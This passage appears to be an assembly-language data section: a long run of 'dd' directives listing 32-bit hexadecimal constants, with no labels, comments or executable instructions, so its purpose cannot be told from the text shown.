dd 53E5CF35h, 7FE2EF27h, 86626C18h, 0E7B704Fh, 2847858Ah
dd 0ECDDD6D0h, 7477DB5Bh, 0F383DFCDh, 0F313131Bh, 0C8C91711h
dd 480F06Fh, 6DB2BB82h, 0C521901Bh, 6C078CDEh, 0C2772D6Fh
dd 4527A779h, 861546BDh, 0E42064EDh, 482A8563h, 3CEF5547h
dd 75DC685Ah, 0DD081A29h, 355BE8D0h, 5C233C4Fh, 0ED0D1E50h
dd 68469DC1h, 0B9A6FFA7h, 0D5CF68A7h, 985EBE48h, 615801FCh
dd 42323D84h, 0BFC5585Bh, 3F0ADA76h, 1581B1D3h, 0D1C0267Bh
dd 19BCD457h, 59705A3Ch, 6B96D352h, 0DC18BBADh, 1B5377DAh
dd 5DB34B05h, 0BA09D49Dh, 52DC11E8h, 1ADEC99Fh, 6FF7A194h
dd 0E50C8702h, 20436F7Fh, 0EAFCE1BCh, 4F7F7A6Eh, 0DCB89369h
dd 5634C93h, 0BF25CC2h, 959F8CBDh, 0F33DD3F2h, 0AFEA5328h
dd 0F9A7E28Eh
dd 9601DC89h, 0A13BC3F3h, 26E73046h, 0A345F7C5h, 0AD235A97h
dd 0B6133891h, 0B69A697Fh, 73F070F2h, 8D445E3h, 9EB81568h
dd 0AC52D07Dh, 4EC55D5h, 4C43D76Fh, 0D817CF2h, 0D55A8DA3h
dd 0E968E48Eh, 3FB6C761h, 79954077h, 73DF2F89h, 0B48E468Fh
dd 5A5CA070h, 8F9CB6D2h, 0B21CD853h, 0B9794FC3h, 4016B3C0h
dd 257E2A65h, 90AE529Eh, 0D88C7FACh, 3E4FDCFAh, 0DC674E66h
dd 0D80D6ADFh, 7141BE5Ah, 70CBC129h, 0BB5D7A7Ah, 8C78C3BAh
dd 854923F1h, 33A074ACh, 722FBD33h, 0EC9EAAB2h, 72007B44h
dd 0AEB66089h, 5D3F720Eh, 3921FCEAh, 0DB9474C2h, 3B28B3DAh
dd 8910D85Eh, 0C6A39CB5h, 0B63524FFh, 46E019BAh, 0CE9A804h
dd 6CF61932h, 1C5422F6h, 9E0D188Eh, 230C26FFh, 0DAFBB9D5h
dd 0FB5A2E90h, 0CC8610F2h, 8B482762h, 0F3A49653h, 5A0C871h
dd 93E5714Ah, 0E50FD5ABh, 46565306h, 7ECF6C9Eh, 28412A31h
dd 20B9EC65h, 0CE741D30h, 4A56999Ah, 0D0EE18C6h, 94A7C060h
dd 0AFDE7685h, 0AA764086h, 0F24F52BDh, 71D2DFB9h, 0B8173BBEh
dd 0DDCBC3F4h, 6EE56ED5h, 91928104h, 51C1D54Bh, 0CBDC4082h
dd 0DB8D132Fh, 8F478CD9h, 0E356FEE2h, 0E2C709EAh, 0DA6B4E55h
dd 6BFD11E2h, 0B167DE8Ah, 0E1F3A734h, 0E2F3E044h, 0FCD6D038h
dd 0EC5B844h, 3EFEEF92h, 784BFA9h, 8476B7DCh, 45BBA373h
dd 0D51BF7F2h, 0E17669CAh, 0BA4A1AD2h, 0B72D8D7h, 0A69F2314h
dd 2DC6124Ah, 0EA088E62h, 966E1C3Dh, 0FF29DC83h, 0B29562BAh
dd 0CEA79832h, 0F38A526Dh, 764AD203h, 97128413h, 3911273Ch
dd 77E45985h, 8105CBBh, 84D1410Ah, 0E1A17BCEh, 0D4B482AAh
dd 68D4D47h, 0B0E8ECA1h, 0C3468C60h, 0F7B76539h, 335E67F8h
dd 16981198h, 0A9484976h, 0F2C2AF0h, 8E735841h, 0A8E04035h
dd 5DCCEB50h, 6094BBEAh, 6C5BCBBh, 0C129E5E2h, 6121D8A9h
dd 32B7C3DEh, 0D6264DACh, 7008E532h, 0B4A31BD4h, 2338225Eh
dd 0CD91EBC9h, 0C0783E91h, 8ACB139Fh, 0BED89284h, 3791FC31h
dd 3F1B6AA0h, 72106C19h, 9A1BA8C3h, 93B55A62h, 0BC85CE38h
dd 4731800Ch, 8074B7F7h, 0C928A6ABh, 8D8FDD7Eh, 91011628h
dd 9A123679h, 1D7455A0h, 3F6F3E9Ch, 9C2CF07Ch, 8DEB511Ch
dd 27758ECFh, 0F0FEB5EAh, 739C785Bh, 3C12DF23h, 96DFD569h
dd 0C5280AB3h, 94E933FFh, 6EA04E24h, 6ABB97A0h, 8D96152Ch
dd 0AD9F2A92h, 9F389D28h, 1E960AE2h, 59368F4Dh, 57609F00h
dd 0ED6FA4h, 0B377A578h, 0C41CC7Bh, 27CCDFD3h, 6B67720Fh
dd 0D9A834E3h, 1D874CC2h, 44A97AC7h, 0C042E005h, 0B7DB24ABh
dd 505FD100h, 599FF864h, 0E73EBEFEh, 0EC40BF94h, 92C762AEh
dd 914B40F8h, 0FB9E8EFDh, 0C6FA87ACh, 5E4D645Bh, 0DD5AA4CFh
dd 5B2272A9h, 53EBE317h, 789A0BB3h, 0EBC70D02h, 0B85D7198h
dd 0F38181DFh, 0C309759Ch, 805F49FEh, 2B096302h, 79BC682Eh
dd 7A957A4Ah, 0CBF4F24Bh, 7D31F1B1h, 866A0ADFh, 0E2316F9Eh
dd 5E7584FCh, 286B7578h, 9C83FC0h, 0A9349B6Ch, 0F92943Dh
dd 0E4FA8CD2h, 7E871012h, 0D75183B1h, 0FABD2102h, 8A6B95E4h
dd 1AA2269Eh, 27D623Fh, 0B7BA5DE7h, 0C3C7FE18h, 4605309Bh
dd 0BA4A4EE2h, 31A564DFh, 0F12C37C8h, 0D31984F0h, 0A83864B4h
dd 6C862582h, 895E80CCh, 4C622FCh, 0A6DA0AE3h, 60932862h
dd 93609250h, 145F8745h, 75CCA6Ch, 0F4A7665Bh, 0C29E240Ah
dd 328411A8h, 86FB162Ch, 4AC357Dh, 6CE57279h, 627DF3C0h
dd 56C13B6Fh, 9BB20081h, 0F71F6077h, 272379DEh, 0D3BE4FDBh
dd 0A0082ABAh, 0C33C5778h, 364CE661h, 63B01AC3h, 0B1D38151h
dd 574F71Ch, 85BD9271h, 8DE7B66Fh, 0BD6AA593h, 738212C6h
dd 101B356Bh, 1DC0210Fh, 1CB2D4C5h, 25B934DAh, 0E7F49B36h
dd 0C1B00D15h, 36C80963h, 3A483752h, 38E204BCh, 0E9B26601h
dd 0A205190Ah, 0E69DA68Fh, 8B281D08h, 90BF5C6h, 8C910ED1h
dd 1ED9BF9Bh, 3D44F993h, 9AFD8AD7h, 3A1D7137h, 942B797Ah
dd 0DD344F93h, 65E167C2h, 0E7467A51h, 62451CB0h, 0B91B5E23h
dd 0C0642EEBh, 3DF1EDDFh, 9ED0E009h, 3DC7931Ch, 8CF556D3h
dd 2CACEE63h, 1A3BB98h, 2541D928h, 0B109A5Dh, 0B102E819h
dd 4D75DD99h, 84817B34h, 0F9B19652h, 49705037h, 52B32D80h
dd 622C144Eh, 0E4083345h, 0B06DBB15h, 0E11CF09Eh, 0C4D4B33Dh
dd 13465B29h, 92EB3042h, 0A82B3A79h, 5489E15Fh, 0BD01ED42h
dd 0CB8C4C5Fh, 6C5F05B8h, 0C0C5A993h, 0EC9C1F96h, 0D710AE8Dh
dd 7B1C4D76h, 0B6CB40F8h, 6DDE5247h, 16A33A1Ch, 1A35AF43h
dd 7E30EBB1h, 9A16126Eh, 661FB3A2h, 0F980E016h, 16E21E76h
dd 0D97578D5h, 9ADA70AAh, 5811D4FAh, 685E3D15h, 28C8BE05h
dd 8A887C20h, 797DA6F6h, 0F4476DCEh, 0D9D9D33h, 450DD209h
dd 0CE19DF7Dh, 70396556h, 2AC6420Eh, 9E3547C4h, 0F0B1EE70h
dd 13A1C7FBh, 42FE634Dh, 0A0940188h, 78209C31h, 0E965ACE9h
dd 0AAFCA1A6h, 8EFB7A5Fh, 4B30FCDh, 0CCBB45BFh, 8749B43h
dd 87114E99h, 68C0F0ECh, 64E881E9h, 1905BE6Ah, 3C7C4F6Ah
dd 2A3CD5Fh, 5C3CE93Ah, 8FD2C1F9h, 59D7B778h, 0CB2BDEEDh
dd 0F7D658Ch, 9490E983h, 175F54DAh, 90FEDED0h, 8B918920h
dd 0F3821EAEh, 0FC8B33C9h, 6D60A64Ch, 0FCC48B31h, 83425834h
dd 4526B3BEh, 0DBEE6859h, 0AE7AF19Ch, 65CEF0Eh, 32CE3241h
dd 90432C91h, 45604B49h, 8495CD59h, 0C4A977E4h, 85F52C55h
dd 0FF52EAF0h, 0A518B446h, 0C43E14F5h, 0D7430549h, 69746E6h
dd 0FF431762h, 9D5A1999h, 0D718ABADh, 0FA6A80E4h, 0E135A15Ch
dd 924EB5F0h, 0ABE41D9Ah, 16C56E7Fh, 0BB96CCABh, 0A18248A7h
dd 0EE644DBBh, 7774AC9Ch, 25D44E3Fh, 11C7B344h, 0E6C751E7h
dd 9D671801h, 0DE3246A1h, 5501A08Ch, 68D7BFD2h, 0FE2F3EDh
dd 86614DFAh, 533C87E3h, 89CA246Bh, 5E1312A9h, 0F131128Ah
dd 0BC8D6E08h, 0E63B27A6h, 0B157E570h, 0BF86FA6Dh, 1F299C04h
dd 818A5EBAh, 1006D76Bh, 0FB7109C9h, 0FB94924Ch, 0F535814Dh
dd 0B71C45BCh, 999B50D8h, 788987A3h, 0B1C5F3CAh, 5D764B38h
dd 9098F183h, 0AD83000h, 0E7BC6BE8h, 5A6E7BD9h, 973D260Eh
dd 31BE24AAh, 0AA3DACD1h, 35A556C9h, 0C7E46506h, 0B024B954h
dd 2EFF75ABh, 400333B6h, 8B304F74h, 746D8F11h, 0A768037Ch
dd 34412A9h, 0A301247Ah, 0C3FEA431h, 9EF88B22h, 0F68509ADh
dd 0F00486B8h, 0CA75D314h, 78B72BDFh, 0C064E51h, 8860A02Eh
dd 583652BFh, 9004A5EBh, 0C7DD07FBh, 148BDBCh, 0DAB634F6h
dd 44DE33B2h, 51E2C56Ch, 0AD401CC9h, 38060544h, 3776AB0Eh
dd 0F7C12713h, 10086588h, 387837C5h, 0F8F4BE08h, 0A87D22E9h
dd 9862DF2Ah, 390CF53Ch, 282194Eh, 7F1B6E25h, 4B3D6573h
dd 0CA44DCDBh, 2B036DD4h, 164BE24Fh, 0EC184CD4h, 27300DB0h
dd 36EE4752h, 9E4AFFACh, 35B2BF21h, 465EA67Ah, 86ED8E79h
dd 124CC75Eh, 0EB9919FAh, 8B96E1Dh, 6353BA98h, 0DCD0965Ah
dd 0D75550F9h, 0CDFEA42Dh, 68C7D856h, 0C0329F9Eh, 4FD45CBEh
dd 6CB0259h, 7D37AD97h, 5E75AEB1h, 297E8A51h, 547A876Bh
dd 57C7631Bh, 297999CBh, 7348FC10h, 0F6D9426Ah, 0C6C2CA48h
dd 492415CEh, 0E95B8874h, 0C78E6951h, 0DF78C67Dh, 35B8F927h
dd 8A7F6850h, 7B72D0Ah, 0D167A5F4h, 0E57D107Dh, 0DAB716DBh
dd 0FBEF9409h, 6831052Ah, 0F7C1CBC2h, 0CB2EEBC1h, 69C2C0A5h
dd 3B653B0Ah, 0D1B17609h
dd 0DC021CA2h, 5071B917h, 89457989h, 0EDA8548Ah, 54DCF536h
dd 0FC243CB6h, 0B8D24306h, 5DBA4CB9h, 97FC6B2Ch, 5E8AE944h
dd 81E2570Fh, 0D176CF9Ch, 8F87BA35h, 75BE784Ah, 5B0C2A19h
dd 609879C6h, 342A91D2h, 27EDB885h, 251155CFh, 9A23D4AAh
dd 48BDA1B1h, 15343571h, 7C68CB2Eh, 8082F7AFh, 19875AD0h
dd 5EF33554h, 99178216h, 0AFE94FA2h, 0DB9D005Fh, 955553D0h
dd 95E64930h, 7467E460h, 53E665D9h, 0C573E95Bh, 0A6987143h
dd 0CDAB7CCEh, 8763B57Ah, 3381B20Fh, 0C048A884h, 76FE1787h
dd 0B30033D2h, 0FDC8D409h, 0DBB81253h, 0EA395153h, 0CD021E30h
dd 75100929h, 16181664h, 0DFD02403h, 4F839DA1h, 0D751FCA7h
dd 3336C516h, 442B499Fh, 0B2FFD9A4h, 85312849h, 99BC2BFEh
dd 0CAD4F3Bh, 0B683ED5Bh, 976B07FEh, 2C5350EDh, 43CDEF60h
dd 0A9D16B33h, 21ECD6B3h, 218CF3F5h, 35E29CC3h, 0A2508A35h
dd 0DED56749h, 10FD818h, 61454573h, 0BEC1467Dh, 2C5F6702h
dd 31D09858h, 7508ACD4h, 2CB8FDAFh, 0E9D68AFDh, 0C0466ABBh
dd 0D9CA1748h, 977E144Ah, 6CEAFAh, 0BAF08B92h, 5AF81A2Eh
dd 0E5D47163h, 87D721A4h, 2F98F4FAh, 967C5040h, 642364E2h
dd 1FC5710Dh, 4D2DAA93h, 8370AA02h, 0AE37466Fh, 2316EF36h
dd 0C6196815h, 0ECB4E19Eh, 0F70CAC5Ch, 0F9525CA6h, 5900DE92h
dd 0FF8CD519h, 0F8A1A090h, 0FE6734D4h, 0E351D8CEh, 0F34CCA66h
dd 5398D1B1h, 0EBD4ECF5h, 4A09911Fh, 0F193E670h, 0A38A8166h
dd 64429CC3h, 1ECE5A90h, 0A8EB2187h, 87221AD1h, 0B0A021CDh
dd 0D08D1634h, 320100C5h, 0BA56E65Eh, 0E9FEFFDCh, 33D29FD7h
dd 0F8395F4Ch, 0C8D68A2Bh, 0C9A76D43h, 0D5A8B43h, 52EEA3C8h
dd 0B7C5B9B5h, 0DFDB34F8h, 0CF2D6E75h, 3051F54Ch, 5024E78Ch
dd 0A29849AAh, 0A64FF4C2h, 0F8229E1Bh, 0C57A021Ah, 0DDE91801h
dd 31342F3Dh, 0AAD41D22h, 0C0EC37F6h, 0EF5FE177h, 0C78369C9h
dd 0F7A51FD7h, 6D2C96BDh, 0DCAF7915h, 0CC93D7B0h, 5D86EF3h
dd 4253F4DBh, 48D5D242h, 0D70B3E69h, 7EC086B5h, 67A1E80h
dd 0F90C2FF5h, 0E95A8DA5h, 1C9953FEh, 41D240E5h, 0CB60FD99h
dd 0A714ED19h, 3E758DE3h, 63B7ED3Eh, 530BBCEEh, 7C7BCFEFh
dd 0E18F4B75h, 6C3C1EE6h, 86E44B02h, 0BCEEAA22h, 27001F22h
dd 0C2E05484h, 8446DDA4h, 0E7EEA193h, 0D4D3E005h, 90510B60h
dd 3B3DA3Ch, 0BB0D0AEAh, 8E3E08E7h, 1D195040h, 5992920Ch
dd 2FB0C292h, 0D58784B1h, 70C63E36h, 0EFD8AC79h, 539FB9E4h
dd 940E8BE1h, 6175D1DBh, 67703A40h, 57797A25h, 4A5B424Fh
dd 89F9A686h, 39316F02h, 63997A4h, 0EFBBB183h, 70334C90h
dd 34652F18h, 0A9DD5B8h, 0C75EF3B1h, 7DC83CA1h, 0E9F62D0Bh
dd 9F9A3D2Eh, 16523C83h, 73939D75h, 76D10399h, 9DF25904h
dd 0EF635CB4h, 5237C3D9h, 0B6C836BBh, 94A7228Ah, 0BB7072C4h
dd 97F491Ah, 0D9476092h, 0C32F1F9Bh, 841DE912h, 0A388DE4Bh
dd 2458811h, 0CDB82AE3h, 0D605C8D4h, 9B3EF124h, 8BCE215Dh
dd 0DBD01DE4h, 315D71B7h, 466C659Fh, 7C518457h, 96A60831h
dd 3F29A40Fh, 1C4C7AAh, 7C72F70Dh, 0A7BC47C6h, 56DA8CB4h
dd 7BFFEA96h, 3267F1D9h, 61B48889h, 7EE52B15h, 1F05258Bh
dd 0A567561Fh, 0AFCCC649h, 26F890B9h, 0E6C64AEDh, 0D55F39E3h
dd 0C17EF574h, 0B2750350h, 32BFC126h, 55568105h, 0D31BF6B2h
dd 0F9174660h, 0CE2C6B43h, 7C30542Ch, 0C009B438h, 69F83FD2h
dd 9F28D776h, 0D50C59BDh, 0C31C3950h, 1BACEEABh, 0DA9A319Fh
dd 0F41C6ECBh, 4D5A7ABh, 96CB949Dh, 1BAF9178h, 97F5C1DFh
dd 0FD9B5ACEh, 5D71FE82h, 71CCF44Eh, 0D17B1D1Fh, 91CFEB4h
dd 6D4D41F6h, 0E4C5C305h, 7B794541h, 5CD0D027h, 2ED38F76h
dd 4157EE28h, 0D74ABC9Bh, 0E42DB63Eh, 0B76F7C75h, 83B211EBh
dd 457AD7EAh, 4771D22Bh, 0B76FAF98h, 3763ECE8h, 0CE320B19h
dd 0D1EE292Bh, 0F210AEFAh, 0BE93592Ch, 0D27C1D4Dh, 0D1B32440h
dd 91D0EABEh, 39AF2B8h, 0F0C220D2h, 0AEB16950h, 3F60DCA5h
dd 0B9226E08h, 0D2FC16BBh, 0C8366204h, 33A98677h, 7730A413h
dd 1DC093AFh, 0F8B82702h, 0AFF788Fh, 606B7B67h, 5CA0B879h
dd 0DB7C97EDh, 66833483h, 0BCA49B5Ah, 8461D7D7h, 580DF8E0h
dd 26FCB75Fh, 4F60E518h, 26C288BFh, 10226875h, 0B6BECF84h
dd 0AD38081Fh, 349A7C17h, 0D1A6F9FAh, 5DE36698h, 8EA2878Fh
dd 88C01045h, 84CBA874h, 6CAC0EFh, 0D40C82A9h, 0AE7B2556h
dd 0F0F22EBEh, 0D5B1A524h, 100A3964h, 8D1CD4C4h, 87133856h
dd 8D40A0DFh, 94F51E0Fh, 5ECA68D6h, 298C2E73h, 5FA2C3ABh
dd 832A26B5h, 98770AB9h, 0AF0C3E13h, 0D66C9FA8h, 4C6E8D3Dh
dd 0DB7A39C1h, 6435DDC9h, 0A677B696h, 7BF94506h, 85611CF7h
dd 43745561h, 2E04F7FAh, 0A692CBAFh, 670D35F8h, 8D40BC26h
dd 0FA7D2660h, 53FD1302h, 8057E0BCh, 0CB0A13CEh, 8AB298B0h
dd 37CE490h, 14370095h, 0FCA050FBh, 48D99AE2h, 2201982Dh
dd 0B8AB943Ch, 63897622h, 0EC645430h, 82EC3ACFh, 0CB3C125h
dd 849E5F33h, 84EA84D3h, 257CDEB9h, 0D3A38F74h, 1EC40444h
dd 36877F86h, 0BEA28F29h, 0BC721BC1h, 12A77B86h, 0ED13D44Dh
dd 4948F2E1h, 6BB65A11h, 0CB5BA1ECh, 357CEBBFh, 85E2685Ah
dd 0A48440CFh, 0D7811734h, 8F13FC28h, 4DDCE72Bh, 70C70306h
dd 9B9AE5FCh, 329E7C21h, 708E8A55h, 49CDF846h, 0EA024820h
dd 560AC392h, 6A72E4DDh, 0EC70E6F9h, 8B974076h, 0BDBC9731h
dd 637B8AC3h, 0D663A235h, 5B523984h, 99312910h, 3C890439h
dd 0EA53621Eh, 0D4A21527h, 7DD01DDFh, 49C08C28h, 9A41913Bh
dd 2452BA34h, 0A1DC996h, 20DC14A3h, 0EB232986h, 0E2306BAh
dd 2A07F624h, 87380156h, 3461376Ch, 0F5206976h, 4D20CED2h
dd 0FCA28757h, 6215B60Eh, 3BB7FADFh, 34290570h, 8306A0BCh
dd 5D3A863Eh, 0E75C855h, 0EA4C0F0Eh, 0C20C8457h, 10623371h
dd 1D672C5Eh, 0BCBD7B78h, 7121EDC3h, 5DB61184h, 0C4455CE0h
dd 98CF63D3h, 0F5A078Eh, 267C06DFh, 872710F8h, 0BF837E63h
dd 0C8263B06h, 21A9B3EEh, 42507A3Ah, 7E57F673h, 0B350C566h
dd 0BEA04445h, 25F80B7Ah, 6F2733EEh, 423FB804h, 0F5B5CA3Ah
dd 6016DECAh, 4FD6AB2Dh, 62DFFEBEh, 111C5283h, 34775A19h
dd 4301689Ch, 0BB052CC9h, 0F31380DFh, 8ECAE626h, 0D39D8503h
dd 569A53EFh, 10BA0536h, 84FDA60Bh, 451FBDE2h, 499A74CAh
dd 0C45DE5A1h, 0F0A8F425h, 805F1EA8h, 6D98FA95h, 6C007AB5h
dd 0E3D2246Dh, 0D510D494h, 4069AE02h, 0E7DACBB4h, 0F26E6947h
dd 7F3FDCAAh, 50B21200h, 0F4C2A185h, 0F3E32B50h, 9D77B233h
dd 7B751615h, 0EA9BA023h, 5E4DE8C1h, 1FC71755h, 0F4D18C61h
dd 3F0CE02Bh, 9FC8C261h, 9121276Eh, 0F4CB3410h, 39141C8Ch
dd 7C907DD7h, 33B5C05h, 19D98D8Ah, 91D8B3EDh, 0FE490E4h
dd 0F68055E3h, 62B9C07Ch, 22384551h, 45AD643Fh, 0E6B0279Fh
dd 26DA0391h, 18511FF9h, 0B70C228Ch, 38BB98F4h, 0B1CAFBD1h
dd 87DEC69Dh, 0DD15315Ah, 5B55CF14h, 0E8285977h, 58539226h
dd 3E920E7Fh, 62912B26h, 0DCB3F3E1h, 0B01358Ah, 3ABE2FC0h
dd 0FDEDB4F6h, 4642FFCAh, 0FCBEC0F7h, 0C0E88B9Ch, 841CAD84h
dd 7521FFB8h, 332463DBh, 6E207696h, 0CD74F089h, 0CF5A1AF7h
dd 0A68A3E78h, 8968748Eh, 0CFA37265h, 0E58266BAh, 5441E29Ah
dd 0B78F05BBh, 0E68F23A5h
dd 793E97FEh, 1E67129Bh, 1C63D490h, 50D1E637h, 8403EC92h
dd 0C39259F8h, 70EA408Ch, 0E5B3BCFAh, 24437323h, 7D756C68h
dd 2AEDB62Dh, 0B4520BA9h, 97C90091h, 7804349Dh, 973288BFh
dd 227276FEh, 0F5446AC9h, 94D6AA34h, 6B0BAC03h, 191CB242h
dd 3AB0EFC2h, 1E84293Ah, 9CF4A211h, 13C4A634h, 9160E9FCh
dd 13688742h, 678B1778h, 1F81FB8Dh, 6E38801Eh, 9578ABC9h
dd 0CA784D6Ah, 0E664B033h, 0C4BEB170h, 0EE7F95E1h, 34044134h
dd 2B49BEEFh, 0F9600957h, 648629B7h, 7917C210h, 532814B3h
dd 5D8C1A67h, 44D9523Ch, 0EB6ABF8Bh, 27210572h, 618AC2BDh
dd 247ED799h, 0A958324Dh, 9D5A8742h, 7B16C83Ah, 3FA8AF76h
dd 0D1E8400Eh, 0CE10CA71h, 0D094F8C3h, 1793AE69h, 847A19D7h
dd 4B40A5C3h, 777DC45h, 0A10BCF11h, 6B9C2055h, 1BE2214Dh
dd 16F84EA9h, 8849112Dh, 0F9129C88h, 821A0E93h, 2F8F3782h
dd 79B6DD53h, 106D3DD7h, 54D5CD90h, 37758910h, 77D39463h
dd 0F6678B35h, 0BE0D4B31h, 4D87EEEBh, 4BE0F6E4h, 108C71F3h
dd 414C1264h, 207F3C45h, 50353C7Ah, 0ACCF3B18h, 7768FE80h
dd 0A9B795A4h, 9045A3E0h, 6AE0AA96h, 0E83DC605h, 0FD3B6C82h
dd 5F444F9Bh, 0C5CE7C18h, 0D61CB3E9h, 9E4573B6h, 86CC8293h
dd 0B570BCCh, 0A0CA2BFDh, 0ABEFA450h, 0BD24037Dh, 0DE2B5DA0h
dd 22017937h, 0CA468FEBh, 14F185F3h, 0DB9B533Eh, 9E0B6C90h
dd 0FD0C195Ch, 24DAB88Dh, 0DF96693Ah, 0E3EBF8C7h, 33E0BDD8h
dd 9C18459Ah, 686ACE29h, 0B103DFAEh, 92DC6BE3h, 6E104ED2h
dd 21B884B1h, 0C509AD86h, 49C12561h, 0FF1DB59Eh, 5369FB61h
dd 0D4F9C50Bh, 0E5EC69F9h, 0E14EE837h, 53BB7436h, 0CD587180h
dd 7BA2E2A3h, 0E8B0E07Dh, 3536D7E0h, 7A2E05C8h, 26FB688Dh
dd 0D03B78A9h, 8F9D0CC9h, 0D417D125h, 3A3A6F1Eh, 6473DB74h
dd 7588EAA3h, 0CBFD936Ch, 664C2D4Ah, 0B16F64BAh, 0F4943E49h
dd 7DF2F211h, 624FE57Ah, 7A2419B9h, 22E006A6h, 3C534E16h
dd 2BD238A6h, 3EFBB1FEh, 71BC5ED4h, 0D94957B7h, 5BBEE5F6h
dd 0D64B54AFh, 0C45B0E08h, 0ADBC325Bh, 37FE7F7Ch, 2568E0BEh
dd 0FF217AFDh, 7065701Fh, 14DBE66Ch, 27ABCE9Ah, 43BDDF1Ah
dd 6D809616h, 6C087F14h, 1302DCAFh, 3E92FDBBh, 0FA5A9A23h
dd 0EC970D7Dh, 9E5C7893h, 3E154D45h, 99FCDC4Fh, 34103A1h
dd 0B4EB6D07h, 0C50F9DEAh, 0E9063223h, 0EB04582Bh, 0C69591C8h
dd 852E3DDCh, 555402EAh, 0BCCDE517h, 5E7E568Fh, 0B020082Ch
dd 76925178h, 60418941h, 0DC85F430h, 0F27DA4B0h, 0AD606BDFh
dd 0EB544FD4h, 0D5EDFAC7h, 7ACAA3FFh, 0E7026A74h, 0CE2DA2D9h
dd 82408A61h, 0BEF2C88Ch, 78D7912Ch, 5A78C38Eh, 6685505Bh
dd 882EF283h, 880ADF46h, 0F6E1724Eh, 4FD560B4h, 26C04A31h
dd 0BFCB3807h, 9EBC77A7h, 0D5E69AC5h, 9840A795h, 28B622ABh
dd 41F1FF7h, 0B623DBD6h, 77C8954Ah, 0D7E25B61h, 84507DACh
dd 0B3DA1F9h, 42EE54D0h, 0BD99DDFAh, 0DBB8BE4Fh, 287024ABh
dd 0CE436D67h, 0ACAE0F68h, 3FD3368h, 19E160B4h, 46B7674h
dd 7AF21F6Fh, 5CCE316Dh, 8E793B45h, 0E182D616h, 0DB73964Eh
dd 5B835C81h, 6D00ADE1h, 0C0C1965Eh, 1DF491F0h, 134F85Dh
dd 0D200614h, 85D3DE60h, 812A9DF8h, 2A255AFEh, 0BA5744D8h
dd 0E2B24EE0h, 33C7664Bh, 6ED1272h, 1217CDAh, 99B940D2h
dd 3546078h, 0B1E1885Bh, 2AC026B7h, 18EC53CDh, 0D65A376Dh
dd 8F365C95h, 0FC6257FFh, 5387A3C0h, 893E8FC2h, 8D72C58Ch
dd 35DF907Bh, 4EE2926Bh, 9FBFA9Fh, 4644CB5h, 6A1FA094h
dd 5297CDD5h, 0A3205D8h, 0CEE6F575h, 3B77C3B9h, 0B1138EF0h
dd 95630369h, 843FB596h, 2F90A04Eh, 1F2C8CEDh, 0BE184C59h
dd 7E23880Fh, 9E1D5C6Ah, 7F3A4C8Bh, 0E9E562D6h, 41D1BFA1h
dd 9D2B04D9h, 550A4BD3h, 0C9FC6876h, 0F22EAAB2h, 0E7B3E42h
dd 0D8165CA8h, 8082B141h, 9C0DE7BEh, 385FB956h, 1CD336F1h
dd 8606705h, 3730411Fh, 0F7B354A9h, 45623B7Fh, 71D7AE8Ah
dd 4A60C274h, 535E980Fh, 0C242233Ch, 3FB1FF68h, 909E46EFh
dd 0E1CD3C7Dh, 0DB76FE58h, 0B6645A5Ch, 6899F8F8h, 0DED9C1D3h
dd 0D1FB2DCEh, 198CFA00h, 1374464Ah, 0F1944451h, 0EA09AC93h
dd 0DF9EC43Eh, 5A8F3Ch, 4FA95694h, 943EB4ACh, 58999134h
dd 266F30ACh, 79FF9B53h, 0E5FB767Eh, 98EA8962h, 508D9D56h
dd 0EF6AE7FBh, 0D3DAE589h, 8490F54Dh, 0DFA9F23Fh, 0BA0F8AD4h
dd 0E3A2FDCh, 50D74D5Ah, 3C700A09h, 23F5C48Bh, 1ECCD9D7h
dd 432A7039h, 7E065E6Eh, 45FD1315h, 0F0B7EE70h, 99DAE662h
dd 0BB8DCB70h, 0E0C0756Dh, 0EC69D764h, 22D3A07Ch, 334D47B3h
dd 9223A88Dh, 1AA742C9h, 0F2F2C472h, 39E78133h, 645C8A1Bh
dd 95C498E1h, 0C4F22686h, 0EE1E4322h, 2FABC965h, 7C08E3AFh
dd 3114364h, 0F329A5EEh, 3FA8E97Dh, 0C707B526h, 0ED526238h
dd 4E7965D5h, 0BFDE284Ah, 9936E06Ch, 7F26078Dh, 0B5A4CA3Ah
dd 0BC75DADDh, 297310BFh, 4D91F726h, 77C10602h, 74835AE2h
dd 0CF1A77E6h, 5BA9AA99h, 7A156A0Fh, 218679ECh, 0F994B378h
dd 1F679B70h, 2E972011h, 0D66600C0h, 9EE8C257h, 273972A5h
dd 5CE661E1h, 4D679130h, 15EA406Bh, 466546A6h, 0D444F58Dh
dd 72D47033h, 28E36531h, 4102B27Fh, 0F582D18Eh, 5F250B8Ah
dd 0D5BCF99h, 23A36D32h, 7A5842Ch, 7BFA7CC4h, 190BE759h
dd 4CC31A0Fh, 0FF4915E6h, 3B2EF074h, 13F5C9h, 0E0681144h
dd 0E2A9C760h, 0DE338287h, 89C294CDh, 0A44A4E5Dh, 0D6A4E4FEh
dd 59EB5DDDh, 0C8060CE5h, 42928940h, 0F93437BFh, 511FD5D7h
dd 83E737BDh, 530D7A26h, 87CA199Eh, 0CBA159CFh, 3CDF83A5h
dd 9F2D8654h, 36888FECh, 845EBACCh, 8D526012h, 0E81E237Dh
dd 3918C1Dh, 2C554D0Bh, 0BE3591C4h, 24967D37h, 0A2531519h
dd 6E84704h, 82630086h, 0FA19378Fh, 72413272h, 200B8E21h
dd 5CECF0C8h, 0F1A9BED1h, 7A18B961h, 0CF4978A6h, 0F41D0C31h
dd 39D51A4Fh, 535C69A8h, 1D5BFDB9h, 6D9F9761h, 4B91F4F6h
dd 83449E61h, 14E1DEBBh, 3AAD8AB8h, 0EB6C781Ch, 15BBDD21h
dd 0DF6AE87Fh, 0AD6B3896h, 3287C2A1h, 0D2987C80h, 0E13E08CDh
dd 0D05E8686h, 36B10632h, 5727F066h, 47C19F7Eh, 7E52119Ch
dd 96F0241Dh, 0E2B9A36Ah, 5201D845h, 0A36DB88Ch, 0E304FD01h
dd 0E539984Eh, 34D68213h, 94F77232h, 0A5CF73FBh, 3C1D9A02h
dd 365B99D0h, 927071Fh, 2F13D9A3h, 0E7E1C338h, 22F6EE5Bh
dd 555DFF8Dh, 0F94B35DAh, 149F94C3h, 0CE40FB88h, 0C42FEB6Fh
dd 0E164BAD5h, 90FA1616h, 5881D4A4h, 0DB6E90A3h, 0A406323h
dd 0EC69364Eh, 0B6CDA7E6h, 6E9B1663h, 0AE1588E3h, 90A8F0D1h
dd 51AA4Fh, 8B665BB9h, 3E4098F0h, 3AFE5ACEh, 583FA766h
dd 17DF9363h, 546F5264h, 620BAD50h, 66A1129Ch, 0E5143AFCh
dd 0CB40338Eh, 11CA3676h, 9D387E67h, 56123F5Ah, 3EF85FD2h
